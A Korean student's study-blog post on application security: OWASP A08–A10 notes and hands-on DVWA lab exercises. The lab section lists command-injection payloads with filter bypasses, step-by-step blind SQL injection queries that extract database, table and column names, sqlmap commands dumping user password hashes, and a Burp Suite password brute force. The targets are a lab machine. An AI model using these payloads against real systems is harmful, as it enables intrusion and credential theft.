OWASP Top 10
•credential Stuffing
‣ 여러 군데 회원가입을 하다 보니, ID/PW가 동일하다
‣ 약한 사이트를 해킹(WebShell, RAT 업로드, WebDAV 업로드, SQL 인젝션 등) 해서 고객 DB 확보
‣ 다른 사이트에 넣어본다.
‣ 2021년 통계에 의하면 가장 심각한 해킹 유형
•대응 방법
‣ 사이트마다 패스워드를 조금씩 다르게 해야한다
‣ 정기적으로 비밀번호를 교체
※ 특히, 포털사이트의 PW는 다른 것으로 사용( 금융권은 PW를 다른 것(강력한)으로 사용)
•무결성(Integrity) < ---- > 변조(내용을 바꾸는 것)
‣ 원문 : "12시에 만나요 브라보콘"
‣ 변조 : "2시에 만나요 브라보콘" ( 1자 한 개 삭제했는데, ㅠㅠ)
cf) 계약서에 이상한 내용이 들어있으면?? 다 뒤집어 쓴다. ---> 나한테 메일로 보냈던 파일과 지금 그들이 출력해온 계약서가 같을까? ( 사기꾼이면 다름) : 해시값으로 확인
※ 해시값의 특징 : 원문이 1bit라도 달라지면 다른 해시값이 나온다. --> 변조되었는지를 알 수 있다.
• OWSAP A08 (Software And Data Integrity Failures )
•업데이트를 안하는 문제점
‣ 윈도우, 스마트폰 --> 자동 업데이트 기능 활성화
‣ 공유기, 셋톱박스, 웰 패드 등 Firmawre 업데이트를 거의 하지 않음 -> 취약점에 노출되어 있다.
•업데이트를 했는데 악성코드에 감염
‣ 업데이트 파일 제공회사가 털렸을 때
‣ 업데이트 파일의 서명이 반드시 필요하다.
• OWSAP A09 (로깅과 모니터링 오류)
• 컴플라이언스(Compliance) : 법과 규제
‣ 컴플라이언스를 지키는 비용 : 컨설팅 비용, 아웃소싱 비용, 구입비, 인증심사 비용, 예상치 못한 비용 등
‣ 컴플라이언스를 지키지 않았을 때의 비용 : 벌금, 과태료, 집단 민사소송, 해커들의 돈 요구, 기업 이미지 손상
•GDPR (유럽의 개인정보보호 규정) : 법은 아니지만 EU 국가들에게 공통 적용
‣ Global 기업들이 약한 법을 가진 나라에 본사를 두고 다른 데서 돈을 버는 형태
‣ EU 가입국에 공통적으로 법을 적용
‣ 벌금을 전 세계 매출 합계에서 4%를 벌금 또는 과태료 또는 과장금으로 징수
•대응 방법
‣ 로그를 적절하게 생성되도록 하고 의심스러운 행위를 파악하는 도구를 설치 ---> 알려주도록 설정(Alarm), 중요도 설정
※ Android는 리눅스 기반으로 만듦, iPhone은 IOS 유닉스 기반 --> /var/log 아래에 대부분의 로그가 있다.
• OWASP A10 ( Server-Side Request Forgery) SSRF -> 서버 쪽의 조작된 요청)
‣ ACL(접근 통계 목록, Access Control List) : 패킷들이 들어오는 것을 허용/거부하는 목록
DVWA 실습
•Command Injection
‣ IoT 기기들에서 주로 많이 발생
‣ IoT 기기 : IP Camera, CCTV, Webcam, 라즈베리파이, IP공유기, Smart TV, 체중계, 로봇청소기 등 ---> 인터넷 연결
‣ IoT의 운영체제 : 리눅스를 Customized 한 필요한 부분만 최소화해서 사용한다.
‣ 원격에서 리눅스 명령을 사용하면 원격 조종이 된다 (RCE : Remote Command Execution, 원격 명령 실행)
‣ Mirai Malware : IoT 감염시켜서 DDoS 공격
•Command Injection( Low )
리눅스 명령어를 실행시키는 것이 목적 ( 리눅스 명령어 : pwd, ls - al, whoami, cat /etc/password 등 )
192.168.5.2를 입력 후 Submit를 누르면 정상적으로 ping이 실행되는 걸 확인할 수 있다.
192.168.5.2;ls -al을 사용하면 IP주소를 끝내고 세미콜론 뒤에 있는 리눅스 명령어가 실행이 된다.
※ ;(세미콜론)의 특징은 앞 명령의 결과가 뒷 명령에 영향을 주지 않는다.
192.168.5.2 && pwd // ping을끝난 다음에 pwd를 실행 해라 ※ IP주소를 사용하지 않고 &&pwd을 하면 실행되지 않음 ---> &&는 앞 명령이 실패하면 뒷 명령을 하지 않게 된다. |
•Command Injection( Medium )
- && 와 ;(세미콜론) dmf Null로 치환하고 있다.
192.168.5.2 | whoami 에서 ping 192.168.5.2는 조건으로서 whoami 에 영향을 주지 않는다.( whoami 결과만 나옴)
※ | (파이프)을 사용하면 앞이 조건, 뒤는 명령문이므로 뒤의 명령어에 영향을 주지 않는다.
192.168.5.2 &&& ls -al // &&는 Nulll로 치환되고 &하나 남는다. & ls -l /var/log/apt // &&를 치환하고도 실행되기 때문에 &를 하나만 사용해도 정상 동작한다. |
Medium에 사용이 가능하다.
※ 192.168.5.2 || whoami // ||는 또는(or)의 의미이기 때문에 앞 명령이 참이면 뒷 명령을 할 필요가 없다(참 or 거짓 = 참) --> || whoami로 사용을 해야지 앞에 명령이 거짓이었으므로 뒷 명령을 수행한다.
•Command Injection( high )
치환 방법은 딱 1번만 적용되고 통과되기 때문에 || whoami --> | whoamin로 치환된다.
|pwd // | 뒤에 명령어를 붙여쓰면 치환을 못한다 |||pwd // 공백이 있으면 안된다. |||| pwd --> ||는 Null, |공백 도 Null 치환 -> | 한개만 남는다. ||||pwd --> || Null , ||도 Null 로 치환 // 공백이 있어야 한다. ( ping pwd => 실행이 안됨) |
•Blind SQL 인젝션
※ 실습하기 전에 알아야 할 것!!
substring() : 단어의 알파벳에 대한 정보를 확인할 수 있다
information_schema.columns (DB명. 테이블명)에서 table_schema
columns테이블에서 table_schema의 내용을 보기
distinct를 넣으면 중복된 결과값을 하나로 보여줌 (중복제거)
$ sudo ls (sudo PW : ubuntu ) $ sudo mysql -u root -p mysql> use information_schema; mysql> desc columns; // columns라는 테이블의 구조 보기 ----> table_schema라는 컬럼이 있는데, table_schema에는 DB이름들이 들어있음 mysql> select table_schema from columns; // columns테이블에서 table_schema의 내용을 보기 mysql> select distinct table_schema from columns; // distinct를 넣으면 중복된 결과값을 하나로 보여줌 (중복제거) ----> 결과는 DB이름을 모두 볼 수 있는데, information_schema(메타값)와 관련된 것은 볼 필요가 없음 (사용자가 만든 일반 DB를 찾아야 함) 나쁜 해커인데, 고객DB를 훔치려고 한다면, DB이름을 알아야 하는데, DB에 대한 정보는 information_schema에 있을 것이므로 여기를 찾아봄 ---> 고객DB는 information_schema, mysql, performance_schema, sys가 아닌 다른 이름을 가지고 있을 것임 ~가 아닌으로 하려면 =앞에 !를 붙이면 됨 select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1 Limit 0,1 ----> 0부터 시작하므로 첫번째 행부터 1개 ex) substring( superman, 1, 1) = s // 1번째 글자부터 1개 substring( superman, 3, 1) = p // 3번째 글자부터 1개 substring( superman, 5, 2) = rm |
SQL에 대해서 잘 모르는 상태에서 DB명, Table명, Column명 등을 알아내려는 시도를 하는 것
번호를 넣으면 있는 경우에는 exist, 없으면 missing으로 알려준다.
1' and length(database())=4# 사용해 DB 이름의 길이를 확인할 수 있다.
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,1) = 'a' # 첫 번째 행의 첫 글자가 a가 맞는가? 에서 결과가 Missing 이 나왔다.
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,1) = 'd' #첫 번째 행의 첫 글자가 d가 맞는가? 에서 결과가 exixsts가 나왔다. 즉, DB의 첫 글자는 d이다.
두 번째 DB명을 구하기 위해서는 1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 2,1) = 'v' # 명령을 사용한 결과 DB의 두번째 글자는 v이다.
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 3,1) = 'w' # 을 입력해 세 번째 DB명은 w이다.
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 4,1) = 'a' # 을 입력해 네 번째 DB명은 a이다.
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,4) = 'dvwa' # 찾은 dvwa가 DB명이 맞는지 확인하는 명령어이다.
테이블 명 알아내려면?
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1), 1,1) = 'g' # 1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1), 2,1) = 'u' # 1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1), 3,1) = 'e' # 1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1), 4,1) = 's' # 1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1), 5,1) = 't' # 1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1), 6,1) = 'b' # 1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1), 7,1) = 'o' # 1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1), 8,1) = 'o' # 1' and substring( (select distinct table_name from information_schema.columns where table_schema='dvwa' limit 0,1), 9,1) = 'k' # |
테이블명을 알아내기 위해서는 위에 있는 DB명처럼 하나씩 대입을 하여 찾는다. 그 결과 guestbook이라는 테이블명이 나왔지만 우리가 찾는 테이블 명이 아니다.
1' and substring( (select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,1), 1,1) = 'u' # 1' and substring( (select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,1), 2,1) = 's' # 1' and substring( (select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,1), 3,1) = 'e' # 1' and substring( (select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,1), 4,1) = 'r' # 1' and substring( (select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,1), 5,1) = 's' # |
두 번째 줄에 있는 테이블 명을 찾아보기 위해서는 limit1,1에서 찾는다.(두 번째 행부터 1줄)
그 결과 users라는 테이블명을 찾을 수 있었다.
1' and substring( (select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,1), 1,5) = 'users' # 명령을 입력하여 users 테이블이 있는지 한번 더 확인을 한다.
실제 DB에 들어가 확인을 하면 guestbook , users 테이블이 들어있다.
1' and substring((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1)='u'# 명령을 사용해 2번째 칼럼의 첫 글자가 u 인지 확인을 한다. ( DB명을 알아내는 거처럼 a~z까지 대입을 한다.)
1' and substring((select column_name from information_schema.columns where table_name='users' limit 3,1),1,4)='user'# users테이블에서 2번째 칼럼에 user가 있는지 다시 한번 확인을 한다.
1' and substring((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)='p'# 명령을 사용해 3번째 칼럼의 첫 글자가 p 인지 확인을 한다.( DB명을 알아내는 거처럼 a~z까지 대입을 한다.)
1' and substring((select column_name from information_schema.columns where table_name='users' limit 4,1),1,8)='password'# users 테이블 중 3번째 칼럼이 password인지 확인을 한다.
users테이블의 칼럼을 실제 DB에서 확인을 해보자.
• 자동화된 도구를 사용 ( Kali 리눅스 사용)
sqlmap은 공개 모의침투 도구로 SQL 구문 삽입 취약점을 탐지/진단하고 데이터베이스에 접근할 수 있는 취약점 분석 도구이다.
※SQL 문법 사용법
sqlmap 문법 : sqlmap -u "URL" --cookie="쿠키값" -u : URL 을 사용할 때 --cookie : cookie값을 목록을 알고 싶을 때 --tables : 테이블 목록을 알고 싶을 때 --columns : 컬럼 목록을 알고 싶을 때 --dump : 메모리에서 값을 확인 할 때 -D : DB명 -T : Table명 -C : 컬럼명 |
dvwa의 sql injection(blind)에서 1~9 사이의 번호를 입력한 후, 주소표시줄에 있는 URL 복사
URL : http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
주소표시줄에 javascript:document.cookie 입력
cookie :security=low; security=low; PHPSESSID=h6 i80 qd60 bh61 tptdoofa2 b7 pk
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; security=low; PHPSESSID=h6 i80 qd60 bh61 tptdoofa2 b7 pk" --dbs 명령어로 DB 이름을 알아낼 수 있다.
※ 대문자 선택하기
실행 결과 DB 명이 출력된 걸 확인할 수 있다.
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; security=low; PHPSESSID=h6 i80 qd60 bh61 tptdoofa2 b7 pk" -D dvwa --tables 명령어로 Table이름을 알아낼 수 있다.
실행 결과 guestbook, users 테이블이 있는 걸 확인할 수 있다.
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; security=low; PHPSESSID=h6 i80 qd60 bh61 tptdoofa2 b7 pk" -D dvwa -T users --columns 명령어로는 Column의 이름을 알아낼 수 있다.
users테이블의 column의 이름이 출력이 된다.
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; security=low; PHPSESSID=h6 i80 qd60 bh61 tptdoofa2 b7 pk" -D dvwa -T users -C user, password --dump 명령어를 사용해 uses 테이블의 user, password의 값을 알아낼 수 있다.
실행 결과 user, password 값을 확인할 수 있다. (hash함수 값까지 확인이 가능)
• Brute Force Attack
전수 대입법 : 가능한 모든 경우의 수를 대입한다는 의미
‣ ex) 숫자 4자리 : 0000~9999, 알파벳 4자리 : AAAA~zzzz
‣ 장점 : 언제 가는 결과가 나오기는 한다(성공확률 99%)
‣ 단점 : 시간이 너무 오래 걸린다.
‣ 대응방법 : 시간이 완전히 오래 걸리게 하면 된다.( 길고 복잡하게 만든다.)
Brute Force 공격은 무차별 대입 공격이다. 특정한 암호를 풀기 위해 가능한 모든 값을 대입하는 것을 의미한다.
버프 스위트를 켜고 아무 패스워드를 넣어 로그인을 해보자( 틀렸다고 나온다)
버프 스위트에 들어가 HTTP history에 들어가면 GET 요청이 들어와 있다.(로그인 시도한 흔적이 남겨져 있다.)
오른쪽 마우스 클릭을 하여 Send to Intruder 클릭한다.
Burp Suite의 맨 위에서 두 번째 라인의 Intruder에 들어가면 HTTP intruder에서 보낸 GET 요청이 보인다.
password에 무차별 공격을 하려고 하기 때문에 password 빼고 모두 다 블록(claer) 설정해준다.
type를 simplelist 방식으로 설정을 하고 Load버튼을 클릭해서 password.txt 파일(강사님 제공)을 선택한 후 Start attack 클릭
공격 중 length 길이가 다른 password을 발견할 수 있다.( letmein이다.)
password 부분에 letmein를 넣고 로그인을 하면 로그인이 되었다.
'Rookies 9기 > 애플리케이션 보안' 카테고리의 다른 글
애플리케이션 보안 7일차 (0) | 2022.09.14 |
---|---|
애플리케이션 보안 5일차 (0) | 2022.09.08 |
애플리케이션 보안4일차 (0) | 2022.09.07 |
애플리케이션 보안 3일차 (0) | 2022.09.06 |
애플리케이션 보안 2일차 (0) | 2022.09.05 |